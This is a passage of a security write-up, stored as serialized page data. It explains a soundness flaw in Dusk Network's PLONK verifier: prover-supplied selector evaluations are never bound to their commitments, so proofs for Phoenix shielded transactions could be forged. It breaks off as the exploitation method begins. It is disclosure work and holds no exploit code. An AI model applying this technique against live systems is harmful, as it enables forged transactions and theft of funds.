",{"type":24,"tag":32,"props":152013,"children":152016},{"href":152014,"rel":152015},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[36],[152017],{"type":24,"tag":135,"props":152018,"children":152020},{"className":152019},[],[152021],{"type":29,"value":152022},"phoenix()",{"type":29,"value":152024},", for example in ",{"type":24,"tag":32,"props":152026,"children":152029},{"href":152027,"rel":152028},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[36],[152030],{"type":24,"tag":135,"props":152031,"children":152033},{"className":152032},[],[152034],{"type":29,"value":152035},"phoenix_stake()",{"type":29,"value":158},{"type":24,"tag":32,"props":152038,"children":152041},{"href":152039,"rel":152040},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[36],[152042],{"type":24,"tag":135,"props":152043,"children":152045},{"className":152044},[],[152046],{"type":29,"value":152047},"phoenix_stake_reward()",{"type":29,"value":158},{"type":24,"tag":32,"props":152050,"children":152053},{"href":152051,"rel":152052},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[36],[152054],{"type":24,"tag":135,"props":152055,"children":152057},{"className":152056},[],[152058],{"type":29,"value":152059},"phoenix_unstake()",{"type":29,"value":14204},{"type":24,"tag":32,"props":152062,"children":152065},{"href":152063,"rel":152064},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[36],[152066],{"type":24,"tag":135,"props":152067,"children":152069},{"className":152068},[],[152070],{"type":29,"value":152071},"phoenix_to_moonlight()",{"type":29,"value":152073},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":152075,"children":152076},{},[152077],{"type":24,"tag":74,"props":152078,"children":152081},{"alt":152079,"src":152080},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":152083,"children":152084},{},[152085,152087,152093,152095,152102],{"type":29,"value":152086},"The PLONK implementation, ",{"type":24,"tag":32,"props":152088,"children":152091},{"href":152089,"rel":152090},"https://github.com/dusk-network/plonk",[36],[152092],{"type":29,"value":148696},{"type":29,"value":152094},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":32,"props":152096,"children":152099},{"href":152097,"rel":152098},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[36],[152100],{"type":29,"value":152101},"the original paper",{"type":29,"value":152103}," was released.",{"type":24,"tag":25,"props":152105,"children":152106},{},[152107,152109,152115],{"type":29,"value":152108},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":32,"props":152110,"children":152113},{"href":152111,"rel":152112},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[36],[152114],{"type":29,"value":55251},{"type":29,"value":152116},". The circuit enforces the following set of constraints:",{"type":24,"tag":5389,"props":152118,"children":152119},{},[152120,152136],{"type":24,"tag":129788,"props":152121,"children":152122},{},[152123],{"type":24,"tag":129792,"props":152124,"children":152125},{},[152126,152131],{"type":24,"tag":129796,"props":152127,"children":152128},{},[152129],{"type":29,"value":152130},"Circuit check",{"type":24,"tag":129796,"props":152132,"children":152133},{},[152134],{"type":29,"value":152135},"Statement being checked",{"type":24,"tag":129816,"props":152137,"children":152138},{},[152139,152157,152175,152193,152211,152368,152508,152526],{"type":24,"tag":129792,"props":152140,"children":152141},{},[152142,152152],{"type":24,"tag":129823,"props":152143,"children":152144},{},[152145],{"type":24,"tag":32,"props":152146,"children":152149},{"href":152147,"rel":152148},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[36],[152150],{"type":29,"value":152151},"Merkle tree membership",{"type":24,"tag":129823,"props":152153,"children":152154},{},[152155],{"type":29,"value":152156},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":129792,"props":152158,"children":152159},{},[152160,152170],{"type":24,"tag":129823,"props":152161,"children":152162},{},[152163],{"type":24,"tag":32,"props":152164,"children":152167},{"href":152165,"rel":152166},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[36],[152168],{"type":29,"value":152169},"Input-note secret-key authorization",{"type":24,"tag":129823,"props":152171,"children":152172},{},[152173],{"type":29,"value":152174},"The prover knows the secret key controlling each input note",{"type":24,"tag":129792,"props":152176,"children":152177},{},[152178,152188],{"type":24,"tag":129823,"props":152179,"children":152180},{},[152181],{"type":24,"tag":32,"props":152182,"children":152185},{"href":152183,"rel":152184},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[36],[152186],{"type":29,"value":152187},"Nullifier correctness",{"type":24,"tag":129823,"props":152189,"children":152190},{},[152191],{"type":29,"value":152192},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":129792,"props":152194,"children":152195},{},[152196,152206],{"type":24,"tag":129823,"props":152197,"children":152198},{},[152199],{"type":24,"tag":32,"props":152200,"children":152203},{"href":152201,"rel":152202},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[36],[152204],{"type":29,"value":152205},"Output value commitment correctness",{"type":24,"tag":129823,"props":152207,"children":152208},{},[152209],{"type":29,"value":152210},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":129792,"props":152212,"children":152213},{},[152214,152224],{"type":24,"tag":129823,"props":152215,"children":152216},{},[152217],{"type":24,"tag":32,"props":152218,"children":152221},{"href":152219,"rel":152220},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[36],[152222],{"type":29,"value":152223},"Balance integrity",{"type":24,"tag":129823,"props":152225,"children":152226},{},[152227],{"type":24,"tag":135,"props":152228,"children":152230},{"className":152229},[11705,11706],[152231],{"type":24,"tag":271,"props":152232,"children":152234},{"className":152233},[11711],[152235],{"type":24,"tag":271,"props":152236,"children":152238},{"className":152237,"ariaHidden":5670},[11716],[152239,152279,152319,152351],{"type":24,"tag":271,"props":152240,"children":152242},{"className":152241},[11721],[152243,152247,152252,152256,152266,152270,152275],{"type":24,"tag":271,"props":152244,"children":152246},{"className":152245,"style":11831},[11726],[],{"type":24,"tag":271,"props":152248,"children":152250},{"className":152249,"style":29316},[29309,29314,29315],[152251],{"type":29,"value":115632},{"type":24,"tag":271,"props":152253,"children":152255},{"className":152254,"style":11849},[11810],[],{"type":24,"tag":271,"props":152257,"children":152259},{"className":152258},[11732,29],[152260],{"type":24,"tag":271,"props":152261,"children":152263},{"className":152262},[11732],[152264],{"type":29,"value":152265},"inputs",{"type":24,"tag":271,"props":152267,"children":152269},{"className":152268,"style":11908},[11810],[],{"type":24,"tag":271,"props":152271,"children":152273},{"className":152272},[11913],[152274],{"type":29,"value":762},{"type":24,"tag":271,"props":152276,"children":152278},{"className":152277,"style":11908},[11810],[],{"type":24,"tag":271,"props":152280,"children":152282},{"className":152281},[11721],[152283,152287,152292,152296,152306,152310,152315],{"type":24,"tag":271,"props":152284,"children":152286},{"className":152285,"style":11831},[11726],[],{"type":24,"tag":271,"props":152288,"children":152290},{"className":152289,"style":29316},[29309,29314,29315],[152291],{"type":29,"value":115632},{"type":24,"tag":271,"props":152293,"children":152295},{"className":152294,"style":11849},[11810],[],{"type":24,"tag":271,"props":152297,"children":152299},{"className":152298},[11732,29],[152300],{"type":24,"tag":271,"props":152301,"children":152303},{"className":152302},[11732],[152304],{"type":29,"value":152305},"outputs",{"type":24,"tag":271,"props":152307,"children":152309},{"className":152308,"style":11811},[11810],[],{"type":24,"tag":271,"props":152311,"children":152313},{"className":152312},[11816],[152314],{"type":29,"value":1012},{"type":24,"tag":271,"props":152316,"children":152318},{"className":152317,"style":11811},[11810],[],{"type":24,"tag":271,"props":152320,"children":152322},{"className":152321},[11721],[152323,152328,152338,152342,152347],{"type":24,"tag":271,"props":152324,"children":152327},{"className":152325,"style":152326},[11726],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":152329,"children":152331},{"className":152330},[11732,29],[152332],{"type":24,"tag":271,"props":152333,"children":152335},{"className":152334},[11732],[152336],{"type":29,"value":152337},"fee",{"type":24,"tag":271,"props":152339,"children":152341},{"className":152340,"style":11811},[11810],[],{"type":24,"tag":271,"props":152343,"children":152345},{"className":152344},[11816],[152346],{"type":29,"value":1012},{"type":24,"tag":271,"props":152348,"children":152350},{"className":152349,"style":11811},[11810],[],{"type":24,"tag":271,"props":152352,"children":152354},{"className":152353},[11721],[152355,152359],{"type":24,"tag":271,"props":152356,"children":152358},{"className":152357,"style":121892},[11726],[],{"type":24,"tag":271,"props":152360,"children":152362},{"className":152361},[11732,29],[152363],{"type":24,"tag":271,"props":152364,"children":152366},{"className":152365},[11732],[152367],{"type":29,"value":68749},{"type":24,"tag":129792,"props":152369,"children":152370},{},[152371,152388],{"type":24,"tag":129823,"props":152372,"children":152373},{},[152374,152381,152382],{"type":24,"tag":32,"props":152375,"children":152378},{"href":152376,"rel":152377},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[36],[152379],{"type":29,"value":152380},"Range checks on inputs",{"type":29,"value":518},{"type":24,"tag":32,"props":152383,"children":152386},{"href":152384,"rel":152385},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[36],[152387],{"type":29,"value":152305},{"type":24,"tag":129823,"props":152389,"children":152390},{},[152391,152393],{"type":29,"value":152392},"All note values lie in ",{"type":24,"tag":135,"props":152394,"children":152396},{"className":152395},[11705,11706],[152397],{"type":24,"tag":271,"props":152398,"children":152400},{"className":152399},[11711],[152401],{"type":24,"tag":271,"props":152402,"children":152404},{"className":152403,"ariaHidden":5670},[11716],[152405,152490],{"type":24,"tag":271,"props":152406,"children":152408},{"className":152407},[11721],[152409,152413,152418,152423,152428,152432,152477,152481,152486],{"type":24,"tag":271,"props":152410,"children":152412},{"className":152411,"style":122149},[11726],[],{"type":24,"tag":271,"props":152414,"children":152416},{"className":152415},[29402],[152417],{"type":29,"value":4520},{"type":24,"tag":271,"props":152419,"children":152421},{"className":152420},[11732],[152422],{"type":29,"value":4121},{"type":24,"tag":271,"props":152424,"children":152426},{"className":152425},[11842],[152427],{"type":29,"value":11845},{"type":24,"tag":271,"props":152429,"children":152431},{"className":152430,"style":11849},[11810],[],{"type":24,"tag":271,"props":152433,"children":152435},{"className":152434},[11732],[152436,152441],{"type":24,"tag":271,"props":152437,"children":152439},{"className":152438},[11732],[152440],{"type":29,"value":165},{"type":24,"tag":271,"props":152442,"children":152444},{"className":152443},[11747],[152445],{"type":24,"tag":271,"props":152446,"children":152448},{"className":152447},[11752],[152449],{"type":24,"tag":271,"props":152450,"children":152452},{"className":152451},[11757],[152453],{"type":24,"tag":271,"props":152454,"children":152456},{"className":152455,"style":11727},[11762],[152457],{"type":24,"tag":271,"props":152458,"children":152459},{"style":11766},[152460,152464],{"type":24,"tag":271,"props":152461,"children":152463},{"className":152462,"style":11772},[11771],[],{"type":24,"tag":271,"props":152465,"children":152467},{"className":152466},[11777,11778,11779,11780],[152468],{"type":24,"tag":271,"props":152469,"children":152471},{"className":152470},[11732,11780],[152472],{"type":24,"tag":271,"props":152473,"children":152475},{"className":152474},[11732,11780],[152476],{"type":29,"value":37097},{"type":24,"tag":271,"props":152478,"children":152480},{"className":152479,"style":11811},[11810],[],{"type":24,"tag":271,"props":152482,"children":152484},{"className":152483},[11816],[152485],{"type":29,"value":11791},{"type":24,"tag":271,"props":152487,"children":152489},{"className":152488,"style":11811},[11810],[],{"type":24,"tag":271,"props":152491,"children":152493},{"className":152492},[11721],[152494,152498,152503],{"type":24,"tag":271,"props":152495,"children":152497},{"className":152496,"style":11831},[11726],[],{"type":24,"tag":271,"props":152499,"children":152501},{"className":152500},[11732],[152502],{"type":29,"value":156},{"type":24,"tag":271,"props":152504,"children":152506},{"className":152505},[29424],[152507],{"type":29,"value":23108},{"type":24,"tag":129792,"props":152509,"children":152510},{},[152511,152521],{"type":24,"tag":129823,"props":152512,"children":152513},{},[152514],{"type":24,"tag":32,"props":152515,"children":152518},{"href":152516,"rel":152517},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[36],[152519],{"type":29,"value":152520},"Sender-authorship signatures",{"type":24,"tag":129823,"props":152522,"children":152523},{},[152524],{"type":29,"value":152525},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":129792,"props":152527,"children":152528},{},[152529,152539],{"type":24,"tag":129823,"props":152530,"children":152531},{},[152532],{"type":24,"tag":32,"props":152533,"children":152536},{"href":152534,"rel":152535},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[36],[152537],{"type":29,"value":152538},"Sender encryption correctness",{"type":24,"tag":129823,"props":152540,"children":152541},{},[152542],{"type":29,"value":152543},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":152545,"children":152546},{},[152547,152549,152555,152557,152566],{"type":29,"value":152548},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":135,"props":152550,"children":152552},{"className":152551},[],[152553],{"type":29,"value":152554},"tx.public_inputs()",{"type":29,"value":152556}," via ",{"type":24,"tag":32,"props":152558,"children":152560},{"href":151996,"rel":152559},[36],[152561],{"type":24,"tag":135,"props":152562,"children":152564},{"className":152563},[],[152565],{"type":29,"value":152004},{"type":29,"value":41},{"type":24,"tag":25,"props":152568,"children":152569},{},[152570],{"type":29,"value":152571},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":26485,"props":152573,"children":152574},{},[],{"type":24,"tag":62,"props":152576,"children":152577},{"id":97091},[152578],{"type":29,"value":152579},"The bug",{"type":24,"tag":25,"props":152581,"children":152582},{},[152583,152585,152592,152594,152605],{"type":29,"value":152584},"In the ",{"type":24,"tag":32,"props":152586,"children":152589},{"href":152587,"rel":152588},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[36],[152590],{"type":29,"value":152591},"PLONK verification",{"type":29,"value":152593},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":32,"props":152595,"children":152598},{"href":152596,"rel":152597},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[36],[152599],{"type":24,"tag":135,"props":152600,"children":152602},{"className":152601},[],[152603],{"type":29,"value":152604},"E_evals",{"type":29,"value":152606},") are:",{"type":24,"tag":97,"props":152608,"children":152609},{},[152610,152642,152667,152692],{"type":24,"tag":101,"props":152611,"children":152612},{},[152613,152619,152620,152626,152627,152633,152634,152640],{"type":24,"tag":135,"props":152614,"children":152616},{"className":152615},[],[152617],{"type":29,"value":152618},"a_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152621,"children":152623},{"className":152622},[],[152624],{"type":29,"value":152625},"b_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152628,"children":152630},{"className":152629},[],[152631],{"type":29,"value":152632},"c_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152635,"children":152637},{"className":152636},[],[152638],{"type":29,"value":152639},"d_eval",{"type":29,"value":152641}," (witness)",{"type":24,"tag":101,"props":152643,"children":152644},{},[152645,152651,152652,152658,152659,152665],{"type":24,"tag":135,"props":152646,"children":152648},{"className":152647},[],[152649],{"type":29,"value":152650},"s_sigma_1_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152653,"children":152655},{"className":152654},[],[152656],{"type":29,"value":152657},"s_sigma_2_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152660,"children":152662},{"className":152661},[],[152663],{"type":29,"value":152664},"s_sigma_3_eval",{"type":29,"value":152666}," (permutation)",{"type":24,"tag":101,"props":152668,"children":152669},{},[152670,152676,152677,152683,152684,152690],{"type":24,"tag":135,"props":152671,"children":152673},{"className":152672},[],[152674],{"type":29,"value":152675},"a_w_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152678,"children":152680},{"className":152679},[],[152681],{"type":29,"value":152682},"b_w_eval",{"type":29,"value":158},{"type":24,"tag":135,"props":152685,"children":152687},{"className":152686},[],[152688],{"type":29,"value":152689},"d_w_eval",{"type":29,"value":152691}," (shifted witness)",{"type":24,"tag":101,"props":152693,"children":152694},{},[152695,152701],{"type":24,"tag":135,"props":152696,"children":152698},{"className":152697},[],[152699],{"type":29,"value":152700},"z_eval",{"type":29,"value":152702}," (permutation accumulator)",{"type":24,"tag":25,"props":152704,"children":152705},{},[152706,152708,152712],{"type":29,"value":152707},"But the following selector evaluations were ",{"type":24,"tag":10648,"props":152709,"children":152710},{},[152711],{"type":29,"value":26180},{"type":29,"value":152713}," included:",{"type":24,"tag":97,"props":152715,"children":152716},{},[152717,152728,152739,152750],{"type":24,"tag":101,"props":152718,"children":152719},{},[152720,152726],{"type":24,"tag":135,"props":152721,"children":152723},{"className":152722},[],[152724],{"type":29,"value":152725},"q_arith_eval",{"type":29,"value":152727}," (arithmetic selector)",{"type":24,"tag":101,"props":152729,"children":152730},{},[152731,152737],{"type":24,"tag":135,"props":152732,"children":152734},{"className":152733},[],[152735],{"type":29,"value":152736},"q_c_eval",{"type":29,"value":152738}," (constant selector)",{"type":24,"tag":101,"props":152740,"children":152741},{},[152742,152748],{"type":24,"tag":135,"props":152743,"children":152745},{"className":152744},[],[152746],{"type":29,"value":152747},"q_l_eval",{"type":29,"value":152749}," (left selector)",{"type":24,"tag":101,"props":152751,"children":152752},{},[152753,152759],{"type":24,"tag":135,"props":152754,"children":152756},{"className":152755},[],[152757],{"type":29,"value":152758},"q_r_eval",{"type":29,"value":152760}," (right selector)",{"type":24,"tag":25,"props":152762,"children":152763},{},[152764,152766,152773,152774,152781,152782,152789,152790,152797],{"type":29,"value":152765},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":32,"props":152767,"children":152770},{"href":152768,"rel":152769},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[36],[152771],{"type":29,"value":152772},"proof struct",{"type":29,"value":158},{"type":24,"tag":32,"props":152775,"children":152778},{"href":152776,"rel":152777},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[36],[152779],{"type":29,"value":152780},"transcript absorption",{"type":29,"value":158},{"type":24,"tag":32,"props":152783,"children":152786},{"href":152784,"rel":152785},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[36],[152787],{"type":29,"value":152788},"arithmetic widget",{"type":29,"value":158},{"type":24,"tag":32,"props":152791,"children":152794},{"href":152792,"rel":152793},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[36],[152795],{"type":29,"value":152796},"fixed-base ECC widget",{"type":29,"value":152798},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":152800,"children":152801},{},[152802,152804,152808],{"type":29,"value":152803},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":10648,"props":152805,"children":152806},{},[152807],{"type":29,"value":26180},{"type":29,"value":152809}," bugs:",{"type":24,"tag":97,"props":152811,"children":152812},{},[152813,152953],{"type":24,"tag":101,"props":152814,"children":152815},{},[152816,152818,152863,152865,152871,152873,152878,152879,152884,152885,152890,152892,152898,152900,152945,152947,152952],{"type":29,"value":152817},"There is no prover-supplied ",{"type":24,"tag":135,"props":152819,"children":152821},{"className":152820},[11705,11706],[152822],{"type":24,"tag":271,"props":152823,"children":152825},{"className":152824},[11711],[152826],{"type":24,"tag":271,"props":152827,"children":152829},{"className":152828,"ariaHidden":5670},[11716],[152830],{"type":24,"tag":271,"props":152831,"children":152833},{"className":152832},[11721],[152834,152838,152843,152848,152853,152858],{"type":24,"tag":271,"props":152835,"children":152837},{"className":152836,"style":11831},[11726],[],{"type":24,"tag":271,"props":152839,"children":152841},{"className":152840},[11732,29273],[152842],{"type":29,"value":578},{"type":24,"tag":271,"props":152844,"children":152846},{"className":152845},[29402],[152847],{"type":29,"value":606},{"type":24,"tag":271,"props":152849,"children":152851},{"className":152850,"style":120394},[11732,29273],[152852],{"type":29,"value":120397},{"type":24,"tag":271,"props":152854,"children":152856},{"className":152855,"style":100323},[11732,29273],[152857],{"type":29,"value":151527},{"type":24,"tag":271,"props":152859,"children":152861},{"className":152860},[29424],[152862],{"type":29,"value":2693},{"type":29,"value":152864}," field at all. ",{"type":24,"tag":135,"props":152866,"children":152868},{"className":152867},[],[152869],{"type":29,"value":152870},"ProofEvaluations",{"type":29,"value":152872}," contains ",{"type":24,"tag":135,"props":152874,"children":152876},{"className":152875},[],[152877],{"type":29,"value":152675},{"type":29,"value":158},{"type":24,"tag":135,"props":152880,"children":152882},{"className":152881},[],[152883],{"type":29,"value":152682},{"type":29,"value":14204},{"type":24,"tag":135,"props":152886,"children":152888},{"className":152887},[],[152889],{"type":29,"value":152689},{"type":29,"value":152891},", but no ",{"type":24,"tag":135,"props":152893,"children":152895},{"className":152894},[],[152896],{"type":29,"value":152897},"c_w_eval",{"type":29,"value":152899},", so the verifier never consumes an unbound ",{"type":24,"tag":135,"props":152901,"children":152903},{"className":152902},[11705,11706],[152904],{"type":24,"tag":271,"props":152905,"children":152907},{"className":152906},[11711],[152908],{"type":24,"tag":271,"props":152909,"children":152911},{"className":152910,"ariaHidden":5670},[11716],[152912],{"type":24,"tag":271,"props":152913,"children":152915},{"className":152914},[11721],[152916,152920,152925,152930,152935,152940],{"type":24,"tag":271,"props":152917,"children":152919},{"className":152918,"style":11831},[11726],[],{"type":24,"tag":271,"props":152921,"children":152923},{"className":152922},[11732,29273],[152924],{"type":29,"value":578},{"type":24,"tag":271,"props":152926,"children":152928},{"className":152927},[29402],[152929],{"type":29,"value":606},{"type":24,"tag":271,"props":152931,"children":152933},{"className":152932,"style":120394},[11732,29273],[152934],{"type":29,"value":120397},{"type":24,"tag":271,"props":152936,"children":152938},{"className":152937,"style":100323},[11732,29273],[152939],{"type":29,"value":151527},{"type":24,"tag":271,"props":152941,"children":152943},{"className":152942},[29424],[152944],{"type":29,"value":2693},{"type":29,"value":152946}," claim (",{"type":24,"tag":32,"props":152948,"children":152950},{"href":152768,"rel":152949},[36],[152951],{"type":29,"value":152772},{"type":29,"value":28429},{"type":24,"tag":101,"props":152954,"children":152955},{},[152956,152958,153045,153047,153139,153140,153147],{"type":29,"value":152957},"There is a fourth permutation commitment ",{"type":24,"tag":135,"props":152959,"children":152961},{"className":152960},[11705,11706],[152962],{"type":24,"tag":271,"props":152963,"children":152965},{"className":152964},[11711],[152966],{"type":24,"tag":271,"props":152967,"children":152969},{"className":152968,"ariaHidden":5670},[11716],[152970],{"type":24,"tag":271,"props":152971,"children":152973},{"className":152972},[11721],[152974,152978,152983,153040],{"type":24,"tag":271,"props":152975,"children":152977},{"className":152976,"style":11831},[11726],[],{"type":24,"tag":271,"props":152979,"children":152981},{"className":152980},[29402],[152982],{"type":29,"value":4520},{"type":24,"tag":271,"props":152984,"children":152986},{"className":152985},[11732],[152987,152992],{"type":24,"tag":271,"props":152988,"children":152990},{"className":152989,"style":100323},[11732,29273],[152991],{"type":29,"value":151422},{"type":24,"tag":271,"props":152993,"children":152995},{"className":152994},[11747],[152996],{"type":24,"tag":271,"props":152997,"children":152999},{"className":152998},[11752,29327],[153000,153029],{"type":24,"tag":271,"props":153001,"children":153003},{"className":153002},[11757],[153004,153024],{"type":24,"tag":271,"props":153005,"children":153007},{"className":153006,"style":99889},[11762],[153008],{"type":24,"tag":271,"props":153009,"children":153010},{"style":100370},[153011,153015],{"type":24,"tag":271,"props":153012,"children":153014},{"className":153013,"style":11772},[11771],[],{"type":24,"tag":271,"props":153016,"children":153018},{"className":153017},[11777,11778,11779,11780],[153019],{"type":24,"tag":271,"props":153020,"children":153022},{"className":153021},[11732,11780],[153023],{"type":29,"value":3365},{"type":24,"tag":271,"props":153025,"children":153027},{"className":153026},[29430],[153028],{"type":29,"value":29433},{"type":24,"tag":271,"props":153030,"children":153032},{"className":153031},[11757],[153033],{"type":24,"tag":271,"props":153034,"children":153036},{"className":153035,"style":99920},[11762],[153037],{"type":24,"tag":271,"props":153038,"children":153039},{},[],{"type":24,"tag":271,"props":153041,"children":153043},{"className":153042},[29424],[153044],{"type":29,"value":23108},{"type":29,"value":153046}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":135,"props":153048,"children":153050},{"className":153049},[11705,11706],[153051],{"type":24,"tag":271,"props":153052,"children":153054},{"className":153053},[11711],[153055],{"type":24,"tag":271,"props":153056,"children":153058},{"className":153057,"ariaHidden":5670},[11716],[153059],{"type":24,"tag":271,"props":153060,"children":153062},{"className":153061},[11721],[153063,153067,153124,153129,153134],{"type":24,"tag":271,"props":153064,"children":153066},{"className":153065,"style":11831},[11726],[],{"type":24,"tag":271,"props":153068,"children":153070},{"className":153069},[11732],[153071,153076],{"type":24,"tag":271,"props":153072,"children":153074},{"className":153073,"style":100323},[11732,29273],[153075],{"type":29,"value":151422},{"type":24,"tag":271,"props":153077,"children":153079},{"className":153078},[11747],[153080],{"type":24,"tag":271,"props":153081,"children":153083},{"className":153082},[11752,29327],[153084,153113],{"type":24,"tag":271,"props":153085,"children":153087},{"className":153086},[11757],[153088,153108],{"type":24,"tag":271,"props":153089,"children":153091},{"className":153090,"style":99889},[11762],[153092],{"type":24,"tag":271,"props":153093,"children":153094},{"style":100370},[153095,153099],{"type":24,"tag":271,"props":153096,"children":153098},{"className":153097,"style":11772},[11771],[],{"type":24,"tag":271,"props":153100,"children":153102},{"className":153101},[11777,11778,11779,11780],[153103],{"type":24,"tag":271,"props":153104,"children":153106},{"className":153105},[11732,11780],[153107],{"type":29,"value":3365},{"type":24,"tag":271,"props":153109,"children":153111},{"className":153110},[29430],[153112],{"type":29,"value":29433},{"type":24,"tag":271,"props":153114,"children":153116},{"className":153115},[11757],[153117],{"type":24,"tag":271,"props":153118,"children":153120},{"className":153119,"style":99920},[11762],[153121],{"type":24,"tag":271,"props":153122,"children":153123},{},[],{"type":24,"tag":271,"props":153125,"children":153127},{"className":153126},[29402],[153128],{"type":29,"value":606},{"type":24,"tag":271,"props":153130,"children":153132},{"className":153131,"style":120394},[11732,29273],[153133],{"type":29,"value":120397},{"type":24,"tag":271,"props":153135,"children":153137},{"className":153136},[29424],[153138],{"type":29,"value":2693},{"type":29,"value":1357},{"type":24,"tag":32,"props":153141,"children":153144},{"href":153142,"rel":153143},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[36],[153145],{"type":29,"value":153146},"permutation verifier key",{"type":29,"value":28429},{"type":24,"tag":25,"props":153149,"children":153150},{},[153151,153153,153163],{"type":29,"value":153152},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":32,"props":153154,"children":153157},{"href":153155,"rel":153156},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[36],[153158],{"type":24,"tag":135,"props":153159,"children":153161},{"className":153160},[],[153162],{"type":29,"value":152604},{"type":29,"value":153164},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":153166,"children":153167},{},[153168],{"type":24,"tag":74,"props":153169,"children":153172},{"alt":153170,"src":153171},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":26485,"props":153174,"children":153175},{},[],{"type":24,"tag":62,"props":153177,"children":153179},{"id":153178},"the-exploitation",[153180],{"type":29,"value":153181},"The exploitation",{"type":24,"tag":25,"props":153183,"children":153184},{},[153185],{"type":29,"value":153186},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":153188,"children":153189},{},[153190,153192,153198,153200,153205,153207,153212,153214,153220],{"type":29,"value":153191},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":135,"props":153193,"children":153195},{"className":153194},[],[153196],{"type":29,"value":153197},"z_challenge",{"type":29,"value":153199},", it computes what the linearization polynomial 